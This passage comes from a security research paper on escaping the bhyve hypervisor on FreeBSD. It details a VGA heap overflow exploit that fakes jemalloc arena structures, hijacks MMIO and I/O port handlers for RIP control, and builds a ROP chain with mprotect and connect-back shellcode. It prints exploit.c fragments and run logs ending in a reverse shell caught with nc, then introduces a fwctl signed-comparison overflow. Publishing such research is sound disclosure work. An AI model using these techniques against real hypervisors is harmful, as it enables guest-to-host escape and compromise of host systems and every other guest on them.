of concept exploit code. ----[ 3.7 - Faking arena_chunk_s structure for arbitrary free During mevent_delete(), jemalloc frees a pointer which is not part of the allocator managed memory as the mevent structure was allocated in guest system memory by corrupting tcache structure (section 3.3). This will result in a segmentation fault unless a fake arena_chunk_s structure is set up before the free(). Freeing arbitrary pointer is already discussed in research [6], however, we will take a second look for the exploitation of this bug. JEMALLOC_ALWAYS_INLINE void arena_dalloc(tsdn_t *tsdn, void *ptr, tcache_t *tcache, bool slow_path) { arena_chunk_t *chunk; size_t pageind, mapbits; . . . chunk = (arena_chunk_t *)CHUNK_ADDR2BASE(ptr); if (likely(chunk != ptr)) { pageind = ((uintptr_t)ptr - (uintptr_t)chunk) >> LG_PAGE; mapbits = arena_mapbits_get(chunk, pageind); assert(arena_mapbits_allocated_get(chunk, pageind) != 0); if (likely((mapbits & CHUNK_MAP_LARGE) == 0)) { /* Small allocation. */ if (likely(tcache != NULL)) { szind_t binind = arena_ptr_small_binind_get(ptr, mapbits); tcache_dalloc_small(tsdn_tsd(tsdn), tcache, ptr, binind, slow_path); . . . } Request to free a pointer is handled by arena_dalloc() in arena.h of jemalloc. The CHUNK_ADDR2BASE() macro gets the chunk address from the pointer to be freed. The arena_chunk_s header has a dynamically sized map_bits array, which holds the properties of pages within the chunk. /* Arena chunk header. */ struct arena_chunk_s { . . . extent_node_t node; /* * Map of pages within chunk that keeps track of free/large/small. * The * first map_bias entries are omitted, since the chunk header does * not * need to be tracked in the map. This omission saves a header * page * for common chunk sizes (e.g. 4 MiB). */ arena_chunk_map_bits_t map_bits[1]; /* Dynamically sized. */ }; The page index 'pageind' in arena_dalloc() for the pointer to be freed is calculated and used as index into 'map_bits' array of 'arena_chunk_s' structrue. This is done using arena_mapbits_get() to get the 'mapbits' value. The series of calls invoked during arena_mapbits_get() are arena_mapbits_get() -> arena_mapbitsp_get_const() -> arena_mapbitsp_get_mutable() -> arena_bitselm_get_mutable() JEMALLOC_ALWAYS_INLINE arena_chunk_map_bits_t * arena_bitselm_get_mutable(arena_chunk_t *chunk, size_t pageind) { . . . return (&chunk->map_bits[pageind-map_bias]); } The 'map_bias' variable defines the number of pages used by chunk header, which does not need tracking and can be omitted. The 'map_bias' value is calculated in arena_boot() of arena.c file, whose value, in this case, is 13. arena_ptr_small_binind_get() gets the bin index 'binind' from the encoded 'map_bits' value in 'arena_chunk_s' structure. Once this information is fetched, tcache_dalloc_small() no longer uses arena chunk header but relies on information from thread-specific data and thread cache structures. Hence the essential part of fake 'arena_chunk_s' structure is that, 'map_bits' should be set up in a way 'pageind - map_bias' calculation in arena_bitselm_get_mutable() points to an entry in 'maps_bits' array, which has an index value to a valid tcache bin. In this case, the index is set to 4, i.e. bin handling regions of size 64 bytes. Since 'map_bias' is 13 pages, the usable pages could be placed after these fake header pages. An elegant way to achieve this is to request a 2MB (chunk size) contiguous memory from the guest which gets allocated as part of the guest system. Allocating a contiguous 2MB virtual memory in guest does not result in contiguous virtual memory allocation in the host. To force the allocation to be contiguous in both guest and bhyve host process, request memory using mmap() to allocate a 2MB huge page with MAP_HUGETLB flag set. ---[ exploit.c ]--- . . . shared_gva = mmap(0, 2 * MB, PROT_READ | PROT_WRITE, MAP_HUGETLB | MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0); . . . shared_gpa = gva_to_gpa((uint64_t)shared_gva); shared_hva = base_address + shared_gpa; /* setting up fake jemalloc chunk */ arena_chunk = (struct arena_chunk_s *)shared_gva; /* set bin index, also dont set CHUNK_MAP_LARGE */ arena_chunk->map_bits[4].bits = (4 << CHUNK_MAP_BININD_SHIFT); /* calculate address such that pageind - map_bias point to tcache * bin size 64 (i.e. index 4) */ fake_tbin_hva = shared_hva + ((4 + map_bias) << 12); fake_tbin_gva = shared_gva + ((4 + map_bias) << 12); . . . +---------------------------+-------+-----------------------------------+ | Heap | | Guest Memory | | | | +----------------------------+ | | +---------+ +--------+ | Guard | | 2MB Huge Page | | | |vga_softc| |tcache_s| | Page | | +-------------+ +--------+ | | | | | | vCPU0 | | | | | Fake | | mevent | | | | +---------+ +----+---+ | | | |arena_chunk_s| | | | | | | | | | +-------------+ +----^---+ | | | | | | +----------------------+-----+ | +--------------------+------+-------+------------------------+----------+ | | | | +---------------------------------------+ Now arbitrary pointer can be freed to overwrite 'mmio_hint' using mevent_delete() without a segmentation fault. The jemalloc version used in FreeBSD 11.0 does not check if pageind > map_bias, unlike the one seen in android [6]. Hence the fake chunk can also be set up in a single page like below: . . . arena_chunk = (struct arena_chunk_s *)shared_gva; arena_chunk->map_bits[-map_bias].bits = (4 << CHUNK_MAP_BININD_SHIFT); fake_tbin_hva = shared_hva + sizeof(struct arena_chunk_s); fake_tbin_gva = shared_gva + sizeof(struct arena_chunk_s); . . . Since the address to be freed is part of the same page as the chunk header, the 'pageind' value would be 0. 'chunk->map_bits[pageind-map_bias]' in arena_bitselm_get_mutable() would end up accessing 'extent_node_t node' element of 'arena_chunk_s' structure since 'pageind-map_bias' is negative. One has to just set up the bin index here for a successful free(). ----[ 3.8 - Code execution using MMIO vCPU cache The MMIO cache 'mmio_hint' of vCPU0 is overwritten during mevent_delete() with a pointer to fake mmio_rb_range structure. The fake structure is set up like below: ---[ exploit.c ]--- . . . /* pci_emul_fallback_handler will return without error */ mmio_range_gva->mr_param.handler = (void *)pci_emul_fallback_handler; mmio_range_gva->mr_param.arg1 = (void *)0x4444444444444444; // arg1 will be corrupted on mevent delete mmio_range_gva->mr_param.arg2 = 0x4545454545454545; // arg2 is fake RSP value for ROP. Fix this now or later mmio_range_gva->mr_param.base = 0; mmio_range_gva->mr_param.size = 0; mmio_range_gva->mr_param.flags = 0; mmio_range_gva->mr_end = 0xffffffffffffffff; . . . The 'mr_base' value is set to 0, and 'mr_end' is set to 0xffffffffffffffff i.e. entire range of physical address. Hence any MMIO access in the guest will end up using the fake mmio_rb_structure in emulate_mem(): int emulate_mem(struct vmctx *ctx, int vcpu, uint64_t paddr, struct vie *vie, struct vm_guest_paging *paging) { . . . if (mmio_hint[vcpu] && paddr >= mmio_hint[vcpu]->mr_base && paddr <= mmio_hint[vcpu]->mr_end) { entry = mmio_hint[vcpu]; . . . } If the entire range of physical address is not used, any valid MMIO access to an address outside the range of fake 'mr_base' and 'mr_end' before the exploit triggers an MMIO access, will end up updating the 'mmio_hint' cache. The 'mmio_hint' overwrite becomes useless! As a side effect of unlink operation in mevent_delete(), 'mr_param.arg1' is corrupted. It is necessary to make sure the corrupted value of 'mr_param.arg1' is not used for any MMIO access before the exploit itself triggers. To ensure this, setup 'mr_param.handler' with a pointer to function returning 0, i.e. success. Returning any other value would trigger an error on emulation, leading to abort() in vm_loop() of bhyverun.c. The ideal choice turned out to be pci_emul_fallback_handler() defined in pci_emul.c as below: static int pci_emul_fallback_handler(struct vmctx *ctx, int vcpu, int dir, uint64_t addr, int size, uint64_t *val, void *arg1, long arg2) { /* * Ignore writes; return 0xff's for reads. The mem read code * will take care of truncating to the correct size. */ if (dir == MEM_F_READ) { *val = 0xffffffffffffffff; } return (0); } After overwriting 'mmio_hint[0]', both 'mr_param.arg1' and 'mr_param.handler' needs to be fixed for continuing with the exploitation. First overwrite 'mr_param.arg1' with address to 'pop rsp; ret' gadget, then overwrite 'mr_param.handler' with address to 'pop register; ret' gadget. This will make sure that the gadget is not triggered with a corrupted 'mr_param.arg1' value during a MMIO access. 'mr_param.arg2' should point to the fake stack with ROP payload. When the fake handler is executed during MMIO access, 'pop register; ret' pops the saved RIP and returns into the 'pop rsp' gadget. 'pop rsp' pops the fake stack pointer 'mr_param.arg2' and executes the ROP payload. ---[ exploit.c ]--- . . . /* fix the mmio handler */ mmio_range_gva->mr_param.handler = (void *)pop_rbp; mmio_range_gva->mr_param.arg1 = (void *)pop_rsp; mmio_range_gva->mr_param.arg2 = rop; mmio = map_phy_address(0xD0000000, getpagesize()); mmio[0]; . . . Running the VM escape exploit gives a connect back shell to the guest with the following output: root@linuxguest:~/setupA/vga_fakearena_exploit# ./exploit 192.168.182.148 6969 exploit: [+] CPU affinity set to vCPU0 exploit: [+] Reading bhyve process memory... exploit: [+] Leaked tcache avail pointers @ 0x801b71248 exploit: [+] Leaked tbin avail pointer = 0x823c10000 exploit: [+] Offset of tbin avail pointer = 0xfcf60 exploit: [+] Leaked vga_softc @ 0x801a74000 exploit: [+] Guest base address = 0x802000000 exploit: [+] Disabling ACPI shutdown to free mevent struct... exploit: [+] Shared data structures mapped @ 0x811e00000 exploit: [+] Overwriting tbin avail pointers... exploit: [+] Enabling ACPI shutdown to reallocate mevent struct... exploit: [+] Leaked .text power_button_handler address = 0x430380 exploit: [+] Modifying mevent structure next and previous pointers... exploit: [+] Disabling ACPI shutdown to overwrite mmio_hint using fake mevent struct... exploit: [+] Preparing connect back shellcode for 192.168.182.148:6969 exploit: [+] Shared payload mapped @ 0x811c00000 exploit: [+] Triggering MMIO read to trigger payload root@linuxguest:~/setupA/vga_fakearena_exploit# renorobert@linuxguest:~$ nc -vvv -l 6969 Listening on [0.0.0.0] (family 0, port 6969) Connection from [192.168.182.146] port 6969 [tcp/*] accepted (family 2, sport 35381) uname -a FreeBSD 11.0-RELEASE-p1 FreeBSD 11.0-RELEASE-p1 #0 r306420: Thu Sep 29 01:43:23 UTC 2016 root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64 --[ 4 - Other exploitation strategies This section details about other ways to exploit the bug by corrupting structures used for I/O port emulation and PCI config space emulation. ----[ 4.1 - Allocating a region into another size class for free() Section 3.7 details about setting up fake arena chunk headers to free an arbitrary pointer during the call to mevent_delete(). However, there is an alternate way to achieve this by allocating the mevent structure as part of an existing thread cache allocation. The address of 'vga_softc' structure can be calculated as described in section 3.3 by leaking the tbins[4].avail pointer. The main 'mevent' thread allocates 'vga_softc' structure as part of bins handling regions of size 0x800 bytes. By overwriting tbin[4].avail[-ncached] pointer of vCPU0 thread with the address of region adjacent to vga_softc structure, we can force mevent structure allocated by 'vCPU0' thread, to be allocated as part of memory managed by 'mevent' thread. Since the 'mevent' structure is allocated after 'vga_softc' structure, the out of bound write can be used to overwrite the next and previous pointers used for unlinking. During free(), the existing chunk headers of the bins servicing regions of size 0x800 are used, allowing a successful free() without crashing. In general, jemalloc allows freeing a pointer within an allocated run [6]. ----[ 4.2 - PMIO emulation and corrupting inout_handlers structures Understanding port-mapped I/O emulation in bhyve provides powerful primitives when exploiting a vulnerability. In this section, we will see how this can be leveraged for accessing parts of heap memory which was previously not accessible. VM exits caused by I/O access invokes the vmexit_inout() handler in bhyverun.c. vmexit_inout() further calls emulate_inout() in inout.c for emulation. I/O port handlers and other device specific information are maintained in an array of 'inout_handlers' structure defined in inout.c: #define MAX_IOPORTS (1 << 16) static struct { const char *name; int flags; inout_func_t handler; void *arg; } inout_handlers[MAX_IOPORTS]; Virtual devices register callbacks for I/O port by calling register_inout() in inout.c, which populates the 'inout_handlers' structure: int register_inout(struct inout_port *iop) { . . . for (i = iop->port; i < iop->port + iop->size; i++) { inout_handlers[i].name = iop->name; inout_handlers[i].flags = iop->flags; inout_handlers[i].handler = iop->handler; inout_handlers[i].arg = iop->arg; } . . . } emulate_inout() function uses the information from 'inout_handlers' to invoke the respective registered handler as below: int emulate_inout(struct vmctx *ctx, int vcpu, struct vm_exit *vmexit, int strict) { . . . bytes = vmexit->u.inout.bytes; in = vmexit->u.inout.in; port = vmexit->u.inout.port; . . . handler = inout_handlers[port].handler; . . . flags = inout_handlers[port].flags; arg = inout_handlers[port].arg; . . . retval = handler(ctx, vcpu, in, port, bytes, &val, arg); . . . } Overwriting 'arg' pointer in 'inout_handlers' structure could provide interesting primitives. In this case, VGA emulation registers its I/O port handler vga_port_handler() defined in vga.c for the port range of 0x3C0 to 0x3DF with 'vga_softc' structure as 'arg'. void * vga_init(int io_only) { . . . sc = calloc(1, sizeof(struct vga_softc)); bzero(&iop, sizeof(struct inout_port)); iop.name = "VGA"; for (port = VGA_IOPORT_START; port <= VGA_IOPORT_END; port++) { iop.port = port; iop.size = 1; iop.flags = IOPORT_F_INOUT; iop.handler = vga_port_handler; iop.arg = sc; error = register_inout(&iop); assert(error == 0); } . . . } Going back to the patch in section 2, it is noticed that dac_rd_index, dac_rd_subindex, dac_wr_index, dac_wr_subindex are all signed integers. Hence by overwriting 'arg' pointer with the address of fake 'vga_softc' structure in heap and dac_rd_index/dac_wr_index set to negative values, the guest can access memory before 'dac_palette' array. Specifically, the 'arg' pointer of DAC_DATA_PORT (0x3c9) needs to be overwritten since it handles read and write access to the 'dac_palette' array. ---[ exploit.c ]--- . . . /* setup fake vga_softc structure */ memset(&vga_softc, 0, sizeof(struct vga_softc)); chunk_hi_offset = CHUNK_ADDR2OFFSET(vga_softc_bins[2] + get_offset(struct vga_softc, vga_dac.dac_palette)); /* set up values for reading the heap chunk */ vga_softc.vga_dac.dac_rd_subindex = -chunk_hi_offset; vga_softc.vga_dac.dac_wr_subindex = -chunk_hi_offset; . . . Therefore instead of overwriting 'mmio_hint' using mevent_delete() unlink, the exploit overwrites 'arg' pointer of I/O port handler to gain access to other parts of heap which were earlier not reachable during the linear out of bounds access. Hardcoded address of 'inout_handlers' structure is used in the exploit code as done with 'mmio_hint' previously due to the lack of PIE and ASLR. The offset to the start of the chunk from the fake 'vga_softc' structure (vga_dac.dac_palette) can be calculated using the jemalloc CHUNK_ADDR2OFFSET() macro. +----------------------++----------------------++----------------------+ |inout_handlers[0] ||inout_handlers[0x3C9] ||inout_handlers[0xFFFF]| +----------------------++----+------^----+-----++----------------------+ Before | | | Overwrite----------------+ | | After | +------------------+ |Overwrite +--------+-------+-----------------------+-------------------------+----+ | | | Heap | |....| | +------+-------+-----------------------+------+ |....| | | +----v----+ ++----------------+ +----v----+ | +--------+ |....| | | | | || mevent | | | | | | |....| | | | | || +-----------+ | | | | | | |....| | | | Real | || | next +--+-> Fake | | |tcache_s| |....| | | |vga_softc| || +-----------+ | |vga_softc| | | vCPU0 | |....| | | | | || +-----------+ | | | | | | |....| | | | | |+-+ previous | | | | | | | |....| | | | | | +-----------+ | | | | | | |....| | | +---------+ +---------------^-+ +---------+ | +----+---+ |....| | | region[0] region[1] | region[2] | | |....| | +-----------------------------+---------------+ | |....| +-------------------------------+---------------------------+------+----+ | | | | | | +---------------------------+ Corrupting 'inout_handlers' structure can also be leveraged for a full process r/w, which is described later in section 7.2 ----[ 4.3 - Leaking vmctx structure Section 3.4 details the advantages of leaking the guest system base address for exploitation. An elegant way to achieve this is by leaking the 'vmctx' structure, which holds a pointer 'baseaddr' to the guest system memory. 'vmctx' structure is defined in libvmmapi/vmmapi.c and gets initialized in vm_setup_memory() as seen in section 3.1 struct vmctx { int fd; uint32_t lowmem_limit; int memflags; size_t lowmem; size_t highmem; char *baseaddr; char *name; }; By reading the jemalloc chunk using DAC_DATA_PORT after setting up fake 'vga_softc' structure, the 'vmctx' structure along with 'baseaddr' pointer can be leaked by the guest. ----[ 4.4 - Overwriting MMIO Red-Black tree node for RIP control Overwriting the 'arg' pointer of DAC_DATA_PORT port with fake 'vga_softc' structure opens up the opportunity to overwrite many other callbacks other than 'mmio_hint' to gain RIP control. However, overwriting MMIO callbacks is still a nice option since it provides ways to control stack for stack pivot as detailed in sections 3.6 and 3.8. But instead of overwriting 'mmio_hint', guest can directly overwrite a specific red-black tree node used for MMIO emulation. The ideal choice turns out to be the node in 'mmio_rb_fallback' tree handling access to memory that is not allocated to the system memory or PCI devices. This part of memory is not frequently accessed, and overwriting it does not affect other guest operations. To locate this red-black tree node, search for the address of function pci_emul_fallback_handler() in the heap which is registered during the call to init_pci() function defined in pci_emul.c int init_pci(struct vmctx *ctx) { . . . lowmem = vm_get_lowmem_size(ctx); bzero(&mr, sizeof(struct mem_range)); mr.name = "PCI hole"; mr.flags = MEM_F_RW | MEM_F_IMMUTABLE; mr.base = lowmem; mr.size = (4ULL * 1024 * 1024 * 1024) - lowmem; mr.handler = pci_emul_fallback_handler; error = register_mem_fallback(&mr); . . . } To gain RIP control like 'mmio_hint' technique, overwrite the handler, arg1 and arg2, then access a memory not allocated to system memory or PCI devices. Below is the output of full working exploit: root@linuxguest:~/setupA/vga_ioport_exploit# ./exploit 192.168.182.148 6969 exploit: [+] CPU affinity set to vCPU0 exploit: [+] Reading bhyve process memory... exploit: [+] Leaked tcache avail pointers @ 0x801b71248 exploit: [+] Leaked tbin avail pointer = 0x823c10000 exploit: [+] Offset of tbin avail pointer = 0xfcf60 exploit: [+] Leaked vga_softc @ 0x801a74000 exploit: [+] Disabling ACPI shutdown to free mevent struct... exploit: [+] Overwriting tbin avail pointers... exploit: [+] Enabling ACPI shutdown to reallocate mevent struct... exploit: [+] Writing fake vga_softc and mevents into heap exploit: [+] Trigerring unlink to overwrite IO handlers exploit: [+] Reading the chunk data... exploit: [+] Guest baseaddr from vmctx : 0x802000000 exploit: [+] Preparing connect back shellcode for 192.168.182.148:6969 exploit: [+] Shared memory mapped @ 0x816000000 exploit: [+] Writing fake mem_range into red black tree exploit: [+] Triggering MMIO read to trigger payload root@linuxguest:~/setupA/vga_ioport_exploit# renorobert@linuxguest:~$ nc -vvv -l 6969 Listening on [0.0.0.0] (family 0, port 6969) Connection from [192.168.182.146] port 6969 [tcp/*] accepted (family 2, sport 14901) uname -a FreeBSD 11.0-RELEASE-p1 FreeBSD 11.0-RELEASE-p1 #0 r306420: Thu Sep 29 01:43:23 UTC 2016 root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64 ----[ 4.5 - Using PCI BAR decoding for RIP control All the techniques discussed so far depends on the SMI handler's ability to allocate and free memory, i.e. unlinking mevent structure. This section discusses another way to allocate/deallocate memory using PCI config space emulation and further explore ways to exploit the bug without running into jemalloc arbitrary free() issue. Bhyve emulates access to config space address port 0xCF8 and config space data port 0xCFC using pci_emul_cfgaddr() and pci_emul_cfgdata() defined in pci_emul.c. pci_emul_cfgdata() further calls pci_cfgrw() for handling r/w access to PCI configuration space. The interesting part of emulation for the exploitation of this bug is the access to the command register. static void pci_cfgrw(struct vmctx *ctx, int vcpu, int in, int bus, int slot, int func, int coff, int bytes, uint32_t *eax) { . . . } else if (coff >= PCIR_COMMAND && coff < PCIR_REVID) { pci_emul_cmdsts_write(pi, coff, *eax, bytes); . . . } The PCI command register is at an offset 4 bytes into the config space header. When the command register is accessed, pci_emul_cmdsts_write() is invoked to handle the access. static void pci_emul_cmdsts_write(struct pci_devinst *pi, int coff, uint32_t new, int bytes) { . . . cmd = pci_get_cfgdata16(pi, PCIR_COMMAND); /* stash old value */ . . . CFGWRITE(pi, coff, new, bytes); /* update config */ cmd2 = pci_get_cfgdata16(pi, PCIR_COMMAND); /* get updated value */ changed = cmd ^ cmd2; . . . for (i = 0; i <= PCI_BARMAX; i++) { switch (pi->pi_bar[i].type) { . . . case PCIBAR_MEM32: case PCIBAR_MEM64: /* MMIO address space decoding changed' */ if (changed & PCIM_CMD_MEMEN) { if (memen(pi)) register_bar(pi, i); else unregister_bar(pi, i); } . . . } The bit 0 in the command register specifies if the device can respond to I/O space access and bit 1 specifies if the device can respond to memory space access. When the bits are unset, the respective BARs are unregistered. When a BAR is registered using register_bar() or unregistered using unregister_bar(), modify_bar_registration() in pci_emul.c is invoked. Registering or unregistering a BAR mapping I/O space address, only involves modifying 'inout_handlers' array. Interestingly, registering or unregistering a BAR mapping memory space address involves allocation and deallocation of heap memory. When a memory range is registered for MMIO emulation, it gets added to the 'mmio_rb_root' red-black tree. Let us consider the case of framebuffer device which allocates 2 memory BARs in pci_fbuf_init() function defined in pci_fbuf.c static int pci_fbuf_init(struct vmctx *ctx, struct pci_devinst *pi, char *opts) { . . . pci_set_cfgdata16(pi, PCIR_DEVICE, 0x40FB); pci_set_cfgdata16(pi, PCIR_VENDOR, 0xFB5D); . . . error = pci_emul_alloc_bar(pi, 0, PCIBAR_MEM32, DMEMSZ); assert(error == 0); error = pci_emul_alloc_bar(pi, 1, PCIBAR_MEM32, FB_SIZE); . . . } The series of calls made during BAR allocation looks like pci_emul_alloc_bar() -> pci_emul_alloc_pbar() -> register_bar() -> modify_bar_registration() -> register_mem() -> register_mem_int() static void modify_bar_registration(struct pci_devinst *pi, int idx, int registration) { . . . switch (pi->pi_bar[idx].type) { . . . case PCIBAR_MEM32: case PCIBAR_MEM64: bzero(&mr, sizeof(struct mem_range)); mr.name = pi->pi_name; mr.base = pi->pi_bar[idx].addr; mr.size = pi->pi_bar[idx].size; if (registration) { . . . error = register_mem(&mr); } else error = unregister_mem(&mr); . . . } register_mem_int() or unregister_mem() in mem.c handle the actual allocation or deallocation. During registration, a 'mmio_rb_range' structure is allocated and gets added to the red-black tree. During unregister, the same node gets freed using RB_REMOVE(). static int register_mem_int(struct mmio_rb_tree *rbt, struct mem_range *memp) { . . . mrp = malloc(sizeof(struct mmio_rb_range)); if (mrp != NULL) { . . . if (mmio_rb_lookup(rbt, memp->base, &entry) != 0) err = mmio_rb_add(rbt, mrp); . . . } int unregister_mem(struct mem_range *memp) { . . . err = mmio_rb_lookup(&mmio_rb_root, memp->base, &entry); if (err == 0) { . . . RB_REMOVE(mmio_rb_tree, &mmio_rb_root, entry); . . . } Hence by disabling memory space decoding in the PCI command register, it is possible to free 'mmio_rb_range' structure associated with a device. Also, by re-enabling the memory space decoding, 'mmio_rb_range' structure can be allocated. The same operations can also be triggered by writing to PCI BAR, which calls update_bar_address() in pci_emul.c. However, unregister_bar() and register_bar() are called together as part of the write operation to PCI BAR, unlike independent events when enabling and disabling BAR decoding in the command register. The 'mmio_rb_range' structure is of size 104 bytes and serviced by bins of size 112 bytes. When both BARs are unregistered by writing to the command register, the pointers to the freed memory is pushed into 'avail' pointers of thread cache structure. To allocate the 'mmio_rb_range' structure of framebuffer device at an address controlled by guest, overwrite the cached pointers in tbins[7].avail array with the address of guest memory as detailed in section 3.3 and then re-enable memory space decoding. Below is the state of the heap when framebuffer BARs are freed: (gdb) info threads Id Target Id Frame * 1 LWP 100154 of process 1318 "mevent" 0x000000080121198a in _kevent () * from /lib/libc.so.7 2 LWP 100157 of process 1318 "blk-4:0-0" 0x0000000800ebf67c in _umtx_op_err () from /lib/libthr.so.3 . . . 12 LWP 100167 of process 1318 "vcpu 0" 0x00000008012297da in ioctl () from /lib/libc.so.7 13 LWP 100168 of process 1318 "vcpu 1" 0x00000008012297da in ioctl () from /lib/libc.so.7 (gdb) thread 12 [Switching to thread 12 (LWP 100167 of process 1318)] #0 0x00000008012297da in ioctl () from /lib/libc.so.7 (gdb) x/gx $fs_base-152 0x800691898: 0x0000000801b6f000 (gdb) print ((struct tcache_s *)0x0000000801b6f000)->tbins[7] $4 = {tstats = {nrequests = 28}, low_water = 0, lg_fill_div = 1, ncached = 2, avail = 0x801b72508} (gdb) x/2gx 0x801b72508-(2*8) 0x801b724f8: 0x0000000801a650e0 0x0000000801a65150 This technique entirely skips the jemalloc arbitrary free, since mevent_delete() is not used. Guest can directly modify the handler, arg1 and arg2 elements of the 'mmio_rb_range' structure. Once modified, access a memory mapped by BAR0 or BAR1 of the framebuffer device to gain RIP control. Below is the output from the proof of concept code: root@linuxguest:~/setupA/vga_pci_exploit# ./exploit exploit: [+] CPU affinity set to vCPU0 exploit: [+] Writing to PCI command register to free memory exploit: [+] Reading bhyve process memory... exploit: [+] Leaked tcache avail pointers @ 0x801b72508 exploit: [+] Offset of tbin avail pointer = 0xfe410 exploit: [+] Guest base address = 0x802000000 exploit: [+] Shared data structures mapped @ 0x812000000 exploit: [+] Overwriting tbin avail pointers... exploit: [+] Writing to PCI command register to reallocate freed memory exploit: [+] Triggering MMIO read for RIP control root@:~ # gdb -q -p 16759 Attaching to process 16759 Reading symbols from /usr/sbin/bhyve...Reading symbols from /usr/lib/debug//usr/sbin/bhyve.debug...done. done. . . . (gdb) c Continuing. Thread 12 "vcpu 0" received signal SIGBUS, Bus error. [Switching to LWP 100269 of process 16759] 0x0000000000412189 in mem_read (ctx=0x801a15080, vcpu=0, gpa=3221241856, rval=0x7fffdebf3d70, size=1, arg=0x812000020) at /usr/src/usr.sbin/bhyve/mem.c:143 143 /usr/src/usr.sbin/bhyve/mem.c: No such file or directory. (gdb) x/i $rip => 0x412189 <mem_read+121>: callq *%r10 (gdb) p/x $r10 $1 = 0x4242424242424242 --[ 5 - Notes on ROP payload and process continuation The ROP payload used in the exploit performs the following operations: - Clear the 'mmio_hint' by setting it to NULL. If not, the fake structure 'mmio_rb_range' structure will be used forever by the guest for any MMIO access - Save an address pointing to the stack and use this later for process continuation - Leak an address to 'syscall' gadget in libc by reading the GOT entry of ioctl() call. Use this further for making any syscall - Call mprotect() to make a guest-controlled memory RWX for executing shellcode - Jump to the connect back shellcode - Set RAX to 0 before returning from the hijacked function call. If not, this is treated as an error on emulation and abort() is called, i.e. no process continuation! - Restore the stack using the saved stack address for process continuation When mem_read() is called, the 'rval' argument passed to it is a pointer to a stack variable: static int mem_read(void *ctx, int vcpu, uint64_t gpa, uint64_t *rval, int size, void *arg) { int error; struct mem_range *mr = arg; error = (*mr->handler)(ctx, vcpu, MEM_F_READ, gpa, size, rval, mr->arg1, mr->arg2); return (error); } As per the calling convention, 'rval' value is present in register R9 when the ROP payload starts executing during the invocation of 'mr->handler'. The below instruction sequence in mem_write() provides a nice way to save the R9 register value by controlling the RBP value. This saved value is used to return to the original call stack without crashing the bhyve process. 0x0000000000412218 <+120>: mov %r9,-0x68(%rbp) 0x000000000041221c <+124>: mov %r10,%r9 0x000000000041221f <+127>: mov -0x68(%rbp),%r10 0x0000000000412223 <+131>: mov %r10,(%rsp) 0x0000000000412227 <+135>: mov %r11,0x8(%rsp) 0x000000000041222c <+140>: mov -0x60(%rbp),%r10 0x0000000000412230 <+144>: callq *%r10 Here concludes the first part of the paper on exploiting the VGA memory corruption bug. --[ 6 - Vulnerability in Firmware Configuration device Firmware Configuration device (fwctl) allows the guest to retrieve specific host provided configuration like vCPU count, during initialization. The device is enabled by bhyve when the guest is configured to use a bootrom such as UEFI firmware. fwctl.c implements the device using a request/response messaging protocol over I/O ports 0x510 and 0x511. The messaging protocol uses 5 states - DORMANT, IDENT_WAIT, IDENT_SEND, REQ or RESP for its operation. - DORMANT, the state of the device before initialization - IDENT_WAIT, the state of the device when it is initialized by calling fwctl_init() - IDENT_SEND, device moves to this state when the guest writes WORD 0 to I/O port 0x510 - REQ, the final stage of the initial handshake is to read byte by byte from I/O port 0x511. The signature 'BHYV' is returned to the guest and moves the device into REQ state after the 4 bytes read. When the device is in REQ state, guest can request configuration information - RESP, once the guest request is complete, the device moves to RESP state. In this state, the device services the request and goes back to REQ state for handling the next request The interesting states here are REQ and RESP, where the device performs operations using guest provided inputs. Guest requests are handled by function fwctl_request() as below: static int fwctl_request(uint32_t value) { . . . switch (rinfo.req_count) { case 0: . . . rinfo.req_size = value; . . . case 1: rinfo.req_type = value; rinfo.req_count++; break; case 2: rinfo.req_txid = value; rinfo.req_count++; ret = fwctl_request_start(); break; default: ret = fwctl_request_data(value); . . . } Guest can set the value of 'rinfo.req_size' when the request count 'rinfo.req_count' is 0, and for each request from the guest, 'rinfo.req_count' is incremented. The messaging protocol defines a set of 5 operations OP_NULL, OP_ECHO, OP_GET, OP_GET_LEN and OP_SET out of which only OP_GET and OP_GET_LEN are supported currently. The request type (operation) 'rinfo.req_type' could be set to either of this. Once the required information is received, fwctl_request_start() validates the request: static int fwctl_request_start(void) { . . . rinfo.req_op = &errop_info; if (rinfo.req_type <= OP_MAX && ops[rinfo.req_type] != NULL) rinfo.req_op = ops[rinfo.req_type]; err = (*rinfo.req_op->op_start)(rinfo.req_size); if (err) { errop_set(err); rinfo.req_op = &errop_info; } . . . } 'req_op->op_start' calls fget_start() to validate the 'rinfo.req_size' provided by the guest as detailed below: #define FGET_STRSZ 80 . . . static int fget_start(int len) { if (len > FGET_STRSZ) return(E2BIG); . . . } . . . static struct req_info { . . . uint32_t req_size; uint32_t req_type; uint32_t req_txid; . . . } rinfo; The 'req_size' element in 'req_info' structure is defined as an unsigned integer, but fget_start() defines its argument 'len' as a signed integer. Thus, a large unsigned integer such as 0xFFFFFFFF will bypass the validation 'len > FGET_STRSZ' as a signed integer comparison is performed [21][22]. fwctl_request() further calls fwctl_request_data() after a successful validation in fwctl_request_start(): static int fwctl_request_data(uint32_t value) { . . . rinfo.req_size -= sizeof(uint32_t); . . . (*rinfo.req_op->op_data)(value, remlen); if (rinfo.req_size < sizeof(uint32_t)) { fwctl_request_done(); return (1); } return (0); } '(*rinfo.req_op->op_data)' calls fget_data() to store the guest data into an array 'static char fget_str[FGET_STRSZ]': static void fget_data(uint32_t data, int len) { *((uint32_t *) &fget_str[fget_cnt]) = data; fget_cnt += sizeof(uint32_t); } fwctl_request_data() decrements 'rinfo.req_size' by 4 bytes on each request and reads until 'rinfo.req_size < sizeof(uint32_t)'. 'fget_cnt' is used as index into the 'fget_str' array and gets increment by 4 bytes on each request. Since 'rinfo.req_size' is set to a large value 0xFFFFFFFF, 'fget_cnt' can be incremented beyond FGET_STRSZ and overwrite the memory adjacent to 'fget_str' array. We have an out-of-bound write in the bss segment! Since 0xFFFFFFFF bytes of data is too much to read in, the device cannot be transitioned into RESP state until 'rinfo.req_size < sizeof(uint32_t)'. However, this state transition is not a requirement for exploiting the bug. --[ 7 - Exploitation of fwctl bug For the sake of simplicity of setup, we enable the fwctl device by default even when a bootrom is not specified. The below patch is applied to bhyve running on FreeBSD 11.2-RELEASE #0 r335510 host: --- bhyverun.c.orig +++ bhyverun.c @@ -1019,8 +1019,7 @@ assert(error == 0); } - if (lpc_bootrom()) - fwctl_init(); + fwctl_init(); #ifndef WITHOUT_CAPSICUM bhyve_caph_cache_catpages(); Rest of this section will detail about the memory layout and techniques to convert the 